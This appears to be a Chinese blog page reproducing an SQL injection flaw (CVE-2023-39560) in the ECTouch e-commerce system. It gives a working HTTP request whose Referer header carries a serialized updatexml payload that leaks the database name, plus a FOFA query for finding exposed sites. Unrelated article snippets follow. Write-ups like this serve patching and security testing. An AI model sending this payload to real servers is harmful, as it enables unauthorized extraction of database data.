ECTouch 电商微信小程序 SQL注入漏洞复现（CVE-2023-39560）
0x01 产品简介
ECTouch是一款开源的电商系统，为中小企业提供最佳的新零售解决方案
0x02 漏洞概述
ECTouch 电商系统 /ectouch-main/include/apps/default/helpers/insert.php 文件中第285行的 insert_bought_notes 函数中，传入的 $arr['id'] 参数未进行验证和过滤，导致未经身份验证的攻击者利用该漏洞进行SQL 注入,获取数据库敏感信息。
0x03 复现环境
FOFA："themes/default/statics/css/ectouch.css"
0x04 漏洞复现
PoC
GET /index.php?m=default&c=user&a=register&u=0 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Referer: 554fcae493e564ee0dc75bdf2ebf94cabought_notes|a:1:{s:2:"id";s:49:"0&&updatexml(1,concat(0x7e,(database()),0x7e),1)#";}查询当前数据库
相关文章：
ECTouch 电商微信小程序 SQL注入漏洞复现（CVE-2023-39560）
0x01 产品简介 ECTouch是一款开源的电商系统，为中小企业提供最佳的新零售解决方案 0x02 漏洞概述 ECTouch 电商系统 /ectouch-main/include/apps/default/helpers/insert.php 文件中第285行的 insert_bought_notes 函数中，传入的 $arr[id] 参数未进行验证和过滤，导致未经…...
MCM备赛笔记——熵权法
Key Concept 熵权法是一种基于信息熵概念的权重确定方法，用于多指标决策分析中。信息熵是度量信息量的不确定性或混乱程度的指标，在熵权法中，它用来反映某个指标在评价过程中的分散程度，进而确定该指标的权重。指标的分散程度越高…...
vscode设置terminal的最大行数
今天跑代码出现一个问题，就是整个程序跑完，整个程序的输出信息过多，最开始输出的信息已经被vscode的缓存冲掉了，只能看到最后的一部分，具体的原因是vscode的terminal默认只能保存1000行的信息，所以如果想保…...
kafka hang 问题记录
参考文档 https://cloud.tencent.com/developer/article/1821477 9092端口 端口9092通常与Apache Kafka关联。 Kafka是一个开源的分布式事件流平台，用于构建实时的数据管道和流应用。 它能够处理任意大小的数据，以容错的方式处理数据流。 在默认配置…...
Jmeter-BeanShell脚本中for循环里面使用random随机数函数，每次生成的都一样
预想的是每次循环生成的随机数不一样，但实际使用Random函数生成的是重复的。 以下是部分原代码： List updateList new ArrayList(); for(Object o: fieldList){Map map new HashMap();map.put("id", o.get("id"));map.put("…...
高级编程。JavaScript中有哪些类型转换机制？
一、概述 前面我们讲到，JS中有六种简单数据类型：undefined、null、boolean、string、number、symbol，以及引用类型：object 但是我们在声明的时候只有一种数据类型，只有到运行期间才会确定当前类型 let x y ? 1 : …...
Linux系统下常用软件安装汇总，包括mysql,java,git,redis等
01.环境搭建 1.安装列表 MySQL 5.7.11 Java 1.8 Apache Maven 3.6 tomcat8.5 git Redis Nginx python docker 2.安装mysql 1.拷贝mysql安装文件到Linux的某个目录下 2.解压Linux安装包：tar -xvzf mysql-5.7.32-linux-glibc2.12-x86_64.tar.gz 3.进入解压后…...
【Linux】——期末复习题（一）
🎃个人专栏： 🐬 算法设计与分析：算法设计与分析_IT闫的博客-CSDN博客 🐳Java基础：Java基础_IT闫的博客-CSDN博客 🐋c语言：c语言_IT闫的博客-CSDN博客 🐟MySQL：…...
【论文阅读】Speech Driven Video Editing via an Audio-Conditioned Diffusion Model
DiffusionVideoEditing：基于音频条件扩散模型的语音驱动视频编辑 code：GitHub - DanBigioi/DiffusionVideoEditing: Official project repo for paper "Speech Driven Video Editing via an Audio-Conditioned Diffusion Model" paper&#…...
【华为 ICT HCIA eNSP 习题汇总】——题目集4
1、（多选）网络中出现故障后，管理员通过排查发现某台路由器的配置被修改了，那么管理员应该采取哪些措施来避免这种状况再次发生？ A、管理员应该通过配置 ACL 来扩展只有管理员能够登录设备 B、管理员应该在路由的管理端…...
hadoop-common: CMake failed with error code 1
问题 在编译hadoop源码时遇到如下错误 hadoop-common: CMake failed with error code 1 看了这个错误表示一脸懵逼 排查 在mvn 的命令中增加 -X 和 -e mvn clean package -e -X -Pdist,native -DskipTests -Dmaven.javadoc.skip -Dopenssl.prefix/usr/local/bin/openssl 在…...
【面试】-科大讯飞日常实习面试
科大讯飞日常实习面试 提问的问题 面试30min,基本就是介绍项目以及提问java八股文,没有算法题 java保证线程安全的方法 需要根据具体场景选择合适的方法来保证线程安全。java中的异步请求如何实现你的SpringBoot项目怎么匹配在线人数请说出spring springMVC springboot之间的…...
MySQL 数据加密
MySQL 数据加密主要用于保护存储在数据库中的敏感信息，如用户密码、个人身份信息等。MySQL 提供了多种数据加密方法，主要包括： 对称加密： AES_ENCRYPT() 和 AES_DECRYPT() 函数：MySQL 支持使用高级加密标准（…...
风丘科技为您提供完整的ADAS测试方案
一 方案概述 随着5G通讯与互联网的快速发展，智能汽车和ADAS辅助系统的研究与发展在世界范围内也在如火如荼地进行。风丘科技紧跟时代脚步，经多年积累沉淀，携手整车厂与高校共同研发打造出了一套完整且适用于国内ADAS测试的系统方案。 | ADAS…...
深入理解Rust基本类型
文章目录 一、概述二、数值类型2.1、整数类型2.2、浮点类型2.3、数字运算2.4、位运算2.5、序列（Range）2.6、有理数和复数 三、字符、布尔、单元类型3.1、字符类型3.2、布尔类型（bool）3.3、单元类型 团队博客: 汽车电子社区 一、概…...
cloudflare加速方法
一、使用Cloudflare优速域名或IP，实现国内访问加速 二、使用境外CN2、GIA等直连联网的VPS：如华纳云、彩红云等（未测试） 三、页面托管方案： 四、cloudflare合作伙伴计划：自定义cdn节点、dnspod提供的dns解析…...
密码学学习笔记(二十四)：TCP/IP协议栈
TCP/IP协议栈的基础结构包括应用层、传输层、网络层、数据链路层和物理层。 应用层 应用层位于TCP/IP协议栈的最顶层，是用户与网络通信的接口。这一层包括了各种高级应用协议，如HTTP（用于网页浏览）、FTP（用于文件传输…...
软件测试阶段简介_单元测试、集成测试、配置项测试、系统测试
文章目录 前言一、软件测试“V”模型二、单元测试三、集成测试四、配置项测试五、系统测试总结 前言 一般来说，按照软件的研制阶段划分，软件测试可分为单元测试、集成测试、配置项测试、系统测试等。本文将对上述各测试阶段进行逐一介绍。 一、软件测试…...
AcWing 1204.错误票据（读取未知个数数据的新方法）
[题目概述] 某涉密单位下发了某种票据，并要在年终全部收回。每张票据有唯一的ID号。全年所有票据的ID号是连续的，但ID的开始数码是随机选定的。 因为工作人员疏忽，在录入ID号的时候发生了一处错误，造成了某个ID断号，另…...
项目上线存在的缓存问题以及存在的debugger和console.log等问题
下载uglifyjs-webpack-plugin插件 在vue.config文件中进行配置 publicPath: process.env.NODE_ENV production ? ./ : /,outputDir: n-sim-ipc-manage-build,productionSourceMap: false,configureWebpack: config > {//打包文件增加hashconfig.output.filename js/[nam…...
论文AI率爆表怕延毕？5招实测降AI率，3分钟知网AIGC过审上岸
2025 年 12 月 25 日知网 AIGC 检测系统升级，2026 年 4 月 27 日维普 AI 率检测平台升级…2026 毕业季，各大主流 AIGC 检测软件陆续升级系统，识别 AI 痕迹更加精准。 临近毕业，同学们看者飘红的 AIGC 检测报告、纷繁复杂的降 AI …...
固始汽车贴膜口碑榜：前3名都有谁？
老铁们，最近固始的车友群里吵翻了，都在问“固始汽车贴膜哪家好”。十个有八个刚提了新车，第一个想到的就是去贴个膜，但这一脚踩下去，水深得很。我直接跟你们说个扎心的事实：固始街头随便找家店，…...
嵌入式工程师核心素养：从测试到系统构建的全链路能力模型
1. 从“明星评选”看嵌入式工程师的成长路径与价值塑造最近看到一篇关于某公司内部“品质与服务创建活动”的报道，评选了四位明星工程师。这让我感触颇深。在嵌入式这个行当里摸爬滚打了十几年，我见过太多技术扎实但默默无闻的同行，也见过一些…...
6款优质降AIGC平台 降痕效果拉满
写论文时不断攀升的AIGC率让人焦虑不已？别担心，这里整理了6款高效实用的降AIGC工具，堪称应对AI痕迹问题的"得力助手"。它们能有效识别并消除AI生成特征，降痕能力出众，助你轻松通过查重审核，彻底摆…...
【ElevenLabs丹麦文语音实战指南】：20年AI语音工程师亲测的5大本地化避坑法则与自然度调优秘籍
更多请点击： https://intelliparadigm.com 第一章：ElevenLabs丹麦文语音本地化实战的底层逻辑与认知重构 ElevenLabs 的语音合成能力并非仅依赖于多语言模型堆叠，其丹麦文（da-DK）本地化本质是声学特征解耦、韵律迁移与…...
针对现在的AI模型的token中转转包业务的分析
📊 价格优势深度分析 1. 价格差异全景图（2026年实测数据） 服务类型1亿Token价格价格倍差适用场景超低价陷阱1351倍个人测试、极低质量需求主流中转站800-1,5006-11倍中小企业、开发者合规服务商3,000-5,00022-37倍企业级应用、生产环境官方…...
SX1255和AD9361的LO泄露实测对比：为什么你的无线模块EVM总是不达标？
SX1255与AD9361本振泄露实战分析：破解EVM不达标的三大关键策略 在调试LoRa模块或小型基站射频前端时，工程师们最常遇到的"幽灵问题"莫过于EVM指标莫名劣化。上周深夜，当我的频谱仪上再次出现那个熟悉的载波泄露尖峰时，我…...
使用Taotoken的Python SDK快速接入大模型API教程
🚀 告别海外账号与网络限制！稳定直连全球优质大模型，限时半价接入中。 👉 点击领取海量免费额度 使用Taotoken的Python SDK快速接入大模型API教程 对于希望快速将大模型能力集成到Python应用中的开发者而言，直接对接多…...
苏姿丰来华，AMD能否借中国市场突破英伟达生态封锁？
苏姿丰访华与AMD战略布局黄仁勋走后第四天，苏姿丰来到上海。上周，黄仁勋在最后一刻挤进特朗普访华队伍，想把英伟达重新带回中国。但他离开北京后，随行企业家很多拿到大单，H200在中国落地仍无明确说法。紧接着ÿ…...
RNA-seq公司推荐
RNA-seq公司推荐 伯远生物是国内高通量测序综合性服务商，聚焦RNA-seq全场景服务，覆盖临床、科研、农业等领域，提供一站式测序与分析解决方案； 其临床转化与大样本服务市占率领先，依托自研平台实现高通量、成本可控&…...